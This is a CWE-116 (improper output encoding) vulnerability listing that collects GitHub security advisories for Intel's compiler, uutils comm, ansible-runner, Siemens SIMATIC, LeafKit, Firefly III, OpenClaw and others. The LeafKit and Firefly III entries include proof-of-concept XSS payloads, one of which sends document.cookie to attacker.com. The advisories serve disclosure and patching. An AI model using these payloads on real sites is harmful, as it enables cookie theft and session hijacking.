CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
612 vulnerabilities reference this CWE, most recent first.
GHSA-6CCH-F4WH-7HXC
Vulnerability from github – Published: 2023-02-16 21:30 – Updated: 2023-02-28 21:30Improper handling of Unicode encoding in source code to be compiled by the Intel(R) C++ Compiler Classic before version 2021.6 for Intel(R) oneAPI Toolkits before version 2022.2 may allow an unauthenticated user to potentially enable escalation of privilege via network access.
{
"affected": [],
"aliases": [
"CVE-2022-25987"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-16T20:15:00Z",
"severity": "CRITICAL"
},
"details": "Improper handling of Unicode encoding in source code to be compiled by the Intel(R) C++ Compiler Classic before version 2021.6 for Intel(R) oneAPI Toolkits before version 2022.2 may allow an unauthenticated user to potentially enable escalation of privilege via network access.",
"id": "GHSA-6cch-f4wh-7hxc",
"modified": "2023-02-28T21:30:18Z",
"published": "2023-02-16T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25987"
},
{
"type": "WEB",
"url": "http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00674.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6GCW-W7CP-94G9
Vulnerability from github – Published: 2026-07-06 19:51 – Updated: 2026-07-06 19:51The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.
Zellic finding 3.34. Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "uu_comm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35346"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-176"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T19:51:22Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "The comm utility in uutils coreutils silently corrupts data by performing lossy UTF-8 conversion on all output lines. The implementation uses String::from_utf8_lossy(), which replaces invalid UTF-8 byte sequences with the Unicode replacement character (U+FFFD). This behavior differs from GNU comm, which processes raw bytes and preserves the original input. This results in corrupted output when the utility is used to compare binary files or files using non-UTF-8 legacy encodings.\n\n---\n_Zellic finding 3.34. Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-6gcw-w7cp-94g9",
"modified": "2026-07-06T19:51:22Z",
"published": "2026-07-06T19:51:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-6gcw-w7cp-94g9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35346"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10192"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/10206"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/b9372e509ea9b278fe13763237067a261bb8c946"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "comm: lossy UTF-8 conversion silently corrupts non-UTF-8 output"
}
GHSA-6HJH-RRQC-J242
Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21A spoofing vulnerability that could allow a security feature bypass exists in when Azure DevOps Server does not properly sanitize user provided input, aka 'Azure DevOps Server Spoofing Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2019-0857"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-09T21:29:00Z",
"severity": "MODERATE"
},
"details": "A spoofing vulnerability that could allow a security feature bypass exists in when Azure DevOps Server does not properly sanitize user provided input, aka \u0027Azure DevOps Server Spoofing Vulnerability\u0027.",
"id": "GHSA-6hjh-rrqc-j242",
"modified": "2022-05-13T01:21:41Z",
"published": "2022-05-13T01:21:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0857"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0857"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107760"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6J58-GRHV-2769
Vulnerability from github – Published: 2022-08-25 00:00 – Updated: 2024-09-03 21:16A flaw was found in ansible-runner. An improper escaping of the shell command, while calling the ansible_runner.interface.run_command, can lead to parameters getting executed as host's shell command. A developer could unintentionally write code that gets executed in the host rather than the virtual environment.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ansible-runner"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-4041"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-01T22:22:11Z",
"nvd_published_at": "2022-08-24T16:15:00Z",
"severity": "HIGH"
},
"details": "A flaw was found in ansible-runner. An improper escaping of the shell command, while calling the `ansible_runner.interface.run_command`, can lead to parameters getting executed as host\u0027s shell command. A developer could unintentionally write code that gets executed in the host rather than the virtual environment.",
"id": "GHSA-6j58-grhv-2769",
"modified": "2024-09-03T21:16:19Z",
"published": "2022-08-25T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4041"
},
{
"type": "WEB",
"url": "https://github.com/ansible/ansible-runner/commit/3533f265f4349a3f2a0283158cd01b59a6bbc7bd"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2021-4041"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2028074"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6j58-grhv-2769"
},
{
"type": "PACKAGE",
"url": "https://github.com/ansible/ansible-runner"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ansible-runner/PYSEC-2022-253.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ansible-runner vulnerable to shell command injection"
}
GHSA-6J7X-87CM-P532
Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-16 00:00A vulnerability has been identified in SIMATIC CP 1242-7 V2 (All versions), SIMATIC CP 1243-1 (All versions), SIMATIC CP 1243-7 LTE EU (All versions), SIMATIC CP 1243-7 LTE US (All versions), SIMATIC CP 1243-8 IRC (All versions), SIMATIC CP 1542SP-1 IRC (All versions >= V2.0), SIMATIC CP 1543-1 (All versions < V3.0.22), SIMATIC CP 1543SP-1 (All versions >= V2.0), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (All versions >= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC (All versions >= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (All versions >= V2.0), SIPLUS NET CP 1242-7 V2 (All versions), SIPLUS NET CP 1543-1 (All versions < V3.0.22), SIPLUS S7-1200 CP 1243-1 (All versions), SIPLUS S7-1200 CP 1243-1 RAIL (All versions). The application does not correctly escape some user provided fields during the authentication process. This could allow an attacker to inject custom commands and execute arbitrary code with elevated privileges.
{
"affected": [],
"aliases": [
"CVE-2022-34820"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-12T10:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (All versions), SIMATIC CP 1243-1 (All versions), SIMATIC CP 1243-7 LTE EU (All versions), SIMATIC CP 1243-7 LTE US (All versions), SIMATIC CP 1243-8 IRC (All versions), SIMATIC CP 1542SP-1 IRC (All versions \u003e= V2.0), SIMATIC CP 1543-1 (All versions \u003c V3.0.22), SIMATIC CP 1543SP-1 (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC (All versions \u003e= V2.0), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (All versions \u003e= V2.0), SIPLUS NET CP 1242-7 V2 (All versions), SIPLUS NET CP 1543-1 (All versions \u003c V3.0.22), SIPLUS S7-1200 CP 1243-1 (All versions), SIPLUS S7-1200 CP 1243-1 RAIL (All versions). The application does not correctly escape some user provided fields during the authentication process. This could allow an attacker to inject custom commands and execute arbitrary code with elevated privileges.",
"id": "GHSA-6j7x-87cm-p532",
"modified": "2022-07-16T00:00:21Z",
"published": "2022-07-13T00:01:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34820"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-517377.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6JJ5-J4J8-8473
Vulnerability from github – Published: 2026-03-16 16:22 – Updated: 2026-05-07 13:24Summary
LeafKit HTML-escaping is not working correctly when a template prints a collection (Array / Dictionary) via #(value). This can result in XSS, allowing potentially untrusted input to be rendered unescaped.
Details
LeafKit attempts to escape expressions during serialization, but due to LeafData.htmlEscaped()'s implementation, when the escaped type's conversion to String is marked as .ambiguous (as it is the case for Arrays and Dictionaries), an unescaped self is returned.
Note: I recommend first looking at the POC, before taking a look at the details below, as it is simple. In the detailed, verbose analysis below, I explored the functions involved in more detail, in hopes that it will help you understand and locate this issue.
The issue's detailed analysis:
- Leaf expression serialization eventually reaches
LeafSerializer'sserializeprivate function below. This is where theleafDatais.htmlEscaped(), and then serialized.
https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafSerialize/LeafSerializer.swift#L60-L66
- The
LeafData.htmlEscaped()method uses theLeafData.stringcomputed property to convert itself to a string. Then, it calls thehtmlEscaped()method on it. However, if the string conversion fails, notice that an unescaped, unsafeselfis returned (line 324 below):
https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L321-L328
- Regarding why
.stringmay return nil, if the escaped value is not a string already, a convesion is attempted, which may fail.
https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L211-L216
In this specific case, the conversion fails at line 303 below, when conversion.is >= level is checked. The check fails because .array and .dictionary conversions to .string are deemed .ambiguous. If we forcefully allow ambiguous conversions, the vulnerability disappears, as the conversion is successful.
https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L295-L319
- Coming back to
LeafSerializer'sserializeprivate method, we are now interested in finding out what happens afterLeafData.htmlEscaped()returns self. Recall from1.that the output was then.serialized(). Thus, the unescapedLeafDatafollows the normal serialization path, as if it were HTML-escaped. More specifically, serialization is done here, where.map/.mapValuesis called, unsafely serializing each element of the dictionary.
PoC
In a new Vapor project created with vapor new poc -n --leaf, use a simple leaf template like the following:
<!doctype html>
<html>
<body>
<h1>#(username)</h1>
<h2>someDict:</h2>
<p>#(someDict)</p>
</body>
</html>
And the following routes.swift:
import Vapor
struct User: Encodable {
var username: String
var someDict: [String: String]
}
func routes(_ app: Application) throws {
app.get { req async throws in
try await req.view.render("index", User(
username: "Escaped XSS - <img src=x onerror=alert(1)>",
someDict: ["<img src=x onerror=alert(1337)>":"<img src=x onerror=alert(31337)>"]
))
}
}
By running and accessing the server in a browser, XSS should be triggered twice (with alert(1337) and alert(31337)). var someDict: [String: String] could also be replaced with an array / dictionary of a different type, such as another Encodable stuct.
Also note that, in a real concerning scenario, the array / dictionary would contain (i.e. reflect) data inputted by the user.
Impact
This is a cross-site scripting (XSS) vulnerability in rendered Leaf templates. Vapor/Leaf applications that render user-controlled data inside arrays or dictionaries using #(value) may be impacted.
{
"affected": [
{
"package": {
"ecosystem": "SwiftURL",
"name": "github.com/vapor/leaf-kit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28499"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:22:56Z",
"nvd_published_at": "2026-03-18T02:16:24Z",
"severity": "MODERATE"
},
"details": "### Summary\nLeafKit HTML-escaping is not working correctly when a template prints a collection (Array / Dictionary) via `#(value)`. This can result in XSS, allowing potentially untrusted input to be rendered unescaped.\n\n### Details\nLeafKit attempts to escape expressions during serialization, but due to [`LeafData.htmlEscaped()`](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L322)\u0027s implementation, when the escaped type\u0027s conversion to `String` is marked as `.ambiguous` (as it is the case for Arrays and Dictionaries), an unescaped `self` is returned.\n\n\u003e **Note: I recommend first looking at the POC, before taking a look at the details below, as it is simple.** In the detailed, verbose analysis below, I explored the functions involved in more detail, in hopes that it will help you understand and locate this issue.\n\n#### The issue\u0027s detailed analysis:\n1. Leaf expression serialization eventually reaches `LeafSerializer`\u0027s `serialize` private function below. This is where the `leafData` is `.htmlEscaped()`, and then serialized.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafSerialize/LeafSerializer.swift#L60-L66\n\n2. The `LeafData.htmlEscaped()` method uses the `LeafData.string` computed property to convert itself to a string. Then, it calls the `htmlEscaped()` method on it. However, if the string conversion fails, notice that an unescaped, unsafe `self` is returned (line 324 below):\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L321-L328\n\n\n3. Regarding why `.string` may return nil, if the escaped value is not a string already, a convesion is attempted, which may fail.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L211-L216\n\nIn this specific case, the conversion fails at line 303 below, when `conversion.is \u003e= level` is checked. The check fails because [`.array` and `.dictionary` conversions to `.string` are deemed `.ambiguous`](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L525-L535). If we forcefully allow ambiguous conversions, the vulnerability disappears, as the conversion is successful.\n\nhttps://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafData.swift#L295-L319\n\n5. Coming back to `LeafSerializer`\u0027s `serialize` private method, we are now interested in finding out what happens after `LeafData.htmlEscaped()` returns self. Recall from `1.` that the output was then `.serialized()`. Thus, the unescaped `LeafData` follows the normal serialization path, as if it were HTML-escaped. More specifically, serialization is done [here](https://github.com/vapor/leaf-kit/blob/8ff06839d8b3ddf74032d2ade01e3453eb556d30/Sources/LeafKit/LeafData/LeafDataStorage.swift#L52-L63), where `.map` / `.mapValues` is called, unsafely serializing each element of the dictionary.\n\n### PoC\n\u003c!-- _Complete instructions, including specific configuration details, to reproduce the vulnerability._ --\u003e\n\nIn a new Vapor project created with `vapor new poc -n --leaf`, use a simple leaf template like the following:\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\n \u003cbody\u003e\n \u003ch1\u003e#(username)\u003c/h1\u003e\n \u003ch2\u003esomeDict:\u003c/h2\u003e\n \u003cp\u003e#(someDict)\u003c/p\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAnd the following `routes.swift`:\n```swift\nimport Vapor\n\nstruct User: Encodable {\n var username: String\n var someDict: [String: String]\n}\n\nfunc routes(_ app: Application) throws {\n app.get { req async throws in\n try await req.view.render(\"index\", User(\n username: \"Escaped XSS - \u003cimg src=x onerror=alert(1)\u003e\",\n someDict: [\"\u003cimg src=x onerror=alert(1337)\u003e\":\"\u003cimg src=x onerror=alert(31337)\u003e\"]\n ))\n }\n}\n\n```\n\nBy running and accessing the server in a browser, XSS should be triggered twice (with `alert(1337)` and `alert(31337)`). `var someDict: [String: String]` could also be replaced with an array / dictionary of a different type, such as another `Encodable` stuct.\n\nAlso note that, in a real concerning scenario, the array / dictionary would contain (i.e. reflect) data inputted by the user.\n\n### Impact\nThis is a cross-site scripting (XSS) vulnerability in rendered Leaf templates. Vapor/Leaf applications that render user-controlled data inside arrays or dictionaries using `#(value)` may be impacted.",
"id": "GHSA-6jj5-j4j8-8473",
"modified": "2026-05-07T13:24:10Z",
"published": "2026-03-16T16:22:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vapor/leaf-kit/security/advisories/GHSA-6jj5-j4j8-8473"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28499"
},
{
"type": "WEB",
"url": "https://github.com/vapor/leaf-kit/commit/6044b844caa858a0c5f2505ac166f5a057c990dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/vapor/leaf-kit"
},
{
"type": "WEB",
"url": "https://github.com/vapor/leaf-kit/releases/tag/1.14.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LeafKit\u0027s HTML escaping may be skipped for Collection values, enabling XSS"
}
GHSA-6JQ6-X4CX-QVCM
Vulnerability from github – Published: 2026-06-12 15:04 – Updated: 2026-06-12 15:04Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.2"
},
"package": {
"ecosystem": "Packagist",
"name": "grumpydictator/firefly-iii"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:04:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig\u0027s auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction\u0027s audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time \u2014 `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n \u2192 Stored verbatim in piggy_banks.name\n \u2192 Transaction rule fires add_to_piggy / remove_from_piggy\n \u2192 UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n \u2192 Any user views /transactions/show/{id}\n \u2192 ale.twig outputs unescaped payload \u2192 XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src \u0027nonce-...\u0027 \u0027strict-dynamic\u0027`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch(\u0027https://attacker.com?c=\u0027+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker\u0027s piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` \u2192 payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB \u2014 fires for every user who views the transaction\n- Cookie theft \u2192 session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy|e\n})|raw }}\n```",
"id": "GHSA-6jq6-x4cx-qvcm",
"modified": "2026-06-12T15:04:50Z",
"published": "2026-06-12T15:04:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
},
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/pull/12271"
},
{
"type": "PACKAGE",
"url": "https://github.com/firefly-iii/firefly-iii"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)"
}
GHSA-6MGF-V5J7-45CR
Vulnerability from github – Published: 2026-03-09 19:54 – Updated: 2026-03-30 13:31OpenClaw's fetchWithSsrFGuard(...) followed cross-origin redirects while preserving arbitrary caller-supplied headers except for a narrow denylist (Authorization, Proxy-Authorization, Cookie, Cookie2). This allowed custom authorization headers such as X-Api-Key, Private-Token, and similar sensitive headers to be forwarded to a different origin after a redirect.
The fix switches cross-origin redirect handling from a narrow sensitive-header denylist to a safe-header allowlist, so only benign headers such as content negotiation and cache validators survive an origin change.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.3.2 - Patched version:
2026.3.7 - Latest published npm version at patch time:
2026.3.2
Impact
A remote service that could trigger a redirect across origins could receive custom authorization credentials attached by OpenClaw callers. This can expose API keys, bearer-style custom headers, or private token headers intended only for the original destination.
Fix Commit(s)
46715371b0612a6f9114dffd1466941ac476cef5
Verification
pnpm checkpassedpnpm test:fastpassed- Focused redirect regression tests passed
pnpm exec vitest run --config vitest.gateway.config.tsstill has unrelated current-mainfailures insrc/gateway/server-channels.test.tsandsrc/gateway/server-methods/agents-mutate.test.ts
Release Process Note
npm 2026.3.7 was published on March 8, 2026. This advisory is fixed in the released package.
Thanks @Rickidevs for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.2"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32913"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-184",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T19:54:20Z",
"nvd_published_at": "2026-03-23T22:16:30Z",
"severity": "HIGH"
},
"details": "OpenClaw\u0027s `fetchWithSsrFGuard(...)` followed cross-origin redirects while preserving arbitrary caller-supplied headers except for a narrow denylist (`Authorization`, `Proxy-Authorization`, `Cookie`, `Cookie2`). This allowed custom authorization headers such as `X-Api-Key`, `Private-Token`, and similar sensitive headers to be forwarded to a different origin after a redirect.\n\nThe fix switches cross-origin redirect handling from a narrow sensitive-header denylist to a safe-header allowlist, so only benign headers such as content negotiation and cache validators survive an origin change.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.2`\n- Patched version: `2026.3.7`\n- Latest published npm version at patch time: `2026.3.2`\n\n## Impact\n\nA remote service that could trigger a redirect across origins could receive custom authorization credentials attached by OpenClaw callers. This can expose API keys, bearer-style custom headers, or private token headers intended only for the original destination.\n\n## Fix Commit(s)\n\n- `46715371b0612a6f9114dffd1466941ac476cef5`\n\n## Verification\n\n- `pnpm check` passed\n- `pnpm test:fast` passed\n- Focused redirect regression tests passed\n- `pnpm exec vitest run --config vitest.gateway.config.ts` still has unrelated current-`main` failures in `src/gateway/server-channels.test.ts` and `src/gateway/server-methods/agents-mutate.test.ts`\n\n## Release Process Note\n\nnpm `2026.3.7` was published on March 8, 2026. This advisory is fixed in the released package.\n\nThanks @Rickidevs for reporting.",
"id": "GHSA-6mgf-v5j7-45cr",
"modified": "2026-03-30T13:31:55Z",
"published": "2026-03-09T19:54:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-6mgf-v5j7-45cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32913"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/46715371b0612a6f9114dffd1466941ac476cef5"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.7"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/openclaw-mar-custom-authorization-header-leakage-via-cross-origin-redirects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: fetch-guard forwards custom authorization headers across cross-origin redirects"
}
GHSA-6R82-WMJX-MX6J
Vulnerability from github – Published: 2023-06-02 18:30 – Updated: 2024-04-04 04:30An attacker could have caused memory corruption and a potentially exploitable use-after-free of a pointer in a global object's debugger vector. This vulnerability affects Firefox for Android < 112, Firefox < 112, and Focus for Android < 112.
